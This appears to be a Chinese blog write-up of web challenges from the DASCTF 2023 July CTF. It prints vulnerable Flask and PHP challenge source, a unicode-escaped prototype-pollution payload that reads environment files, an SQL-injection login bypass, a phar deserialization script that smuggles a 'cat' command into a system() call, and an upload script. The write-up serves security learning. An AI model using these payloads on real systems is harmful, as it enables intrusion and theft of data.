DASCTF 2023 & 0X401七月暑期挑战赛 部分WEB复现与学习
EzFlask 跟标题就是flask有关的 进入题目直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
大致看一眼 经典的python原型链污染 当时做的时候也成功登录了
但是我不知道污染哪里这个题目 应该是我没见过的知识点
预期解: 其实最重要的一部分我反而没有看到 qwq
1 2 3 @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read()
__file__
:当前脚本运行的路径
这里我们如果能污染__file__值 那么我们就可以读取任意文件了
还有就是这题开了pin 而且还有个/console
路由 这是咋发现的真离谱
然后是黑名单waf了__init__
在check()之后是进行了一次json.loads的,而json识别unicode 所以可以用unicode编码进行bypass
预期解就是利用任意文件读取然后计算pin码 就可以getshell了
这里就不赘述了
非预期 真正学习的是非预期
这里有两种payload:
第一种:污染__**file__**任意文件读取 前面也说过原理了 只要我们将__file__污染为我们想读取的文件名即可
直接读环境变量
1 {"username" :"1" ,"password" :"1" ,"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" :{"__globals__" :{"__file__" :"/proc/self/environ" }}}
然后访问/proc/1/environ
出题人环境变量中的flag忘删了
第二种: 污染 _static_folder 路径穿越 首先来看看 _static_folder
flask init文件部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 def __init__ ( self, import_name, static_url_path=None , static_folder='static' , static_host=None , host_matching=False , subdomain_matching=False , template_folder='templates' , instance_path=None , instance_relative_config=False , root_path=None ):
可以看到static_folder='static'
默认是在static文件也即是默认的静态文件的位置
我的理解是 我们static_folder
可以指定静态文件的位置 并且我们可以访问 一般我们做题都有注意到我们可以访问static目录
那么 如果我们污染_static_folder
让他的路径为/
那么我们是不是可以根目录下的所有文件了
因此我们就可以路径穿越了
注意一下路径/static/proc/1/environ
MyPicDisk 这道题目 如何上传文件的同时并且post数据 我尬住了 不太会 额额额 抽象
然后赛后看了师傅们的wp 真的太强辣
首先用户名存在万能钥匙登录 admin' or 1=1#
就可以登录了
然后存在源码泄露/y0u_cant_find_1t.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 <?php session_start (); error_reporting (0 );class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { if (preg_match ("/\//i" , $filename )){ throw new Error ("hacker!" ); } $num = substr_count ($filename , "." ); if ($num != 1 ){ throw new Error ("hacker!" ); } if (!is_file ($filename )){ throw new Error ("???" ); } $this ->filename = $filename ; $this ->size = filesize ($filename ); $this ->lasttime = filemtime ($filename ); } public function remove ( ) { unlink ($this ->filename); } public function show ( ) { echo "Filename: " . $this ->filename. " Last Modified Time: " .$this ->lasttime. " Filesize: " .$this ->size."<br>" ; } public function __destruct ( ) { system ("ls -all " .$this ->filename); } } ?> <?php if (!isset ($_SESSION ['user' ])){} else { if ($_SESSION ['user' ] !== 'admin' ) { echo "<script>alert('you are not admin!!!!!');</script>" ; unset ($_SESSION ['user' ]); echo "<script>location.href='/index.php';</script>" ; } echo "<!-- /y0u_cant_find_1t.zip -->" ; if (!$_GET ['file' ]) { foreach (scandir ("." ) as $filename ) { if (preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>" ; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> ' ; if ($_FILES ['file' ]) { $filename = $_FILES ['file' ]['name' ]; if (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { die ("hacker!" ); } if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $filename )) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>" ; } else { die ('failed' ); } } } else { $filename = $_GET ['file' ]; if ($_GET ['todo' ] === "md5" ){ echo md5_file ($filename ); } else { $file = new FILE ($filename ); if ($_GET ['todo' ] !== "remove" && $_GET ['todo' ] !== "show" ) { echo "<img src='../" . $filename . "'><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>" ; } else if ($_GET ['todo' ] === "remove" ) { $file ->remove (); echo "<script>alert('图片已删除!');location.href='/index.php';</script>" ; } else if ($_GET ['todo' ] === "show" ) { $file ->show (); } } } } ?> </body> </html>
源码逻辑也比较清楚 我寄在了怎么一边上传文件一边post传参
根据源码逻辑 我们先要登录成功 然后才能上传文件 所以post传参和发包同时弄 我不太会
因为这个题目登录成功之后还会退出来 不会留在上传文件的页面 所以我们要手动发包 我只会用现成的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>POST数据包POC</title> </head> <body> <form action="http://e8a71e4c-c09f-4e5c-85ff-9c8df9323115.node4.buuoj.cn:81/index.php" method="post" enctype="multipart/form-data" > <!--链接是当前打开的题目链接--> <label for ="file" >文件名:</label> <input type="file" name="file" id="file" ><br> <input type="submit" name="submit" value="提交" > </form> </body> </html>
所以就寄了
赛后看师傅们的wp 是用py脚本的发的 真的太强了
然后这道题目最明显的就是 FILE类的析构函数存在一个命令执行漏洞然后就能想到是phar反序列化了
1 2 3 public function __destruct ( ) { system ("ls -all " .$this ->filename); }
那么一般我们phar反序列化还要配合能够触发反序列化的文件操作函数才行
看了下这道题目源码没有这些函数 但是这次又学到一个函数就是md5_file()
在源码这个地方 如果我们提交get参数 file和todo 那么他将会将我们的文件进行md5_file()后输出
1 2 3 $filename = $_GET ['file' ];if ($_GET ['todo' ] === "md5" ){ echo md5_file ($filename );
那么phar反序列化能够搭配的函数又多了一个qwq
所以思路明确 先phar生成一个包含我们恶意序列化的图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { $this ->filename = $filename ; } } $a = new FILE ("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd" );$phartest =new phar ('phartest.phar' ,0 );$phartest ->startBuffering ();$phartest ->setMetadata ($a );$phartest ->setStub ("<?php __HALT_COMPILER();?>" );$phartest ->addFromString ("test.txt" ,"test" );$phartest ->stopBuffering ();
然后配合脚本 上传上去 偷的https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247493970&idx=1&sn=9a20317104c56bd5060763e1461908ea&chksm=e8a1ca83dfd643954775d5e84a80a74876cde679a30db3e581d0bb1553510ada71937299318a&mpshare=1&scene=23&srcid=07256NyrGaLqc95MJJrprw2j&sharer_sharetime=1690256252504&sharer_shareid=122e5be9c4961e59957c3603ed41e762#rd 师傅真的太强了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import osimport requestscurrent_directory = os.path.dirname(os.path.abspath(__file__)) image_path = os.path.join(current_directory, '1.jpg' ) proxy = { "http" : "http://127.0.0.1:8080" } burp0_url = "http://e8a71e4c-c09f-4e5c-85ff-9c8df9323115.node4.buuoj.cn:81/?" burp0_cookies = {"PHPSESSID" : "su" } files = { 'file' : ('1.jpg' , open (image_path, 'rb' ), 'image/jpeg' ) } data = { 'username' : "x' or 1=1 or '='" , 'password' : '1' , 'submit' : '登录' } res = requests.post(burp0_url, cookies=burp0_cookies, files=files, data=data, proxies=proxy) print (res.text)
先登录+上传文件 然后登录+phar包含
都是同时进行每一步
又学到了 之后要好好学一下requests这个库和其他常用库
ez_cms 熊海cms v1.0 文件包含+pearcmd 第一次见
关于pearcmd:
https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
payload:
这个pearcmd的文件路径很难找 要一个一个试
?r=../../../../../../../tmp/123
访问rce就行了
反正我没复现成功 感觉是赛后靶机和比赛的不一样 rce不了 还是我姿势不对 无语了
ez_py 考点:django session pickle反序列化
不太会 以后再来看 还是第一次见
ez_timing HTTP/2??????? 6